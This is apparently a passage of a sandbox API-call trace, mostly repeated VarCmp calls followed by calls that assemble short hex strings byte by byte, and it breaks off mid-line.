VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.526] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.527] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.528] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.528] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.528] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.528] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.528] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.528] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.528] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.528] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.528] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.528] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.528] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.528] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.529] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.530] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.531] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.532] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.533] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.534] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.535] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0112.536] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0112.545] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.546] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.546] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.546] VarBstrCat (in: bstrLeft="&Hb", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.546] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.546] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.546] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.546] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.546] VarBstrCat (in: bstrLeft="&He", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.546] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.546] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.546] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.547] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.547] VarBstrCat (in: bstrLeft="&H1", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.547] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.547] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.547] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.547] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.547] VarBstrCat (in: bstrLeft="&Hd", bstrRight="b", pbstrResult=0x197ab8 | out: 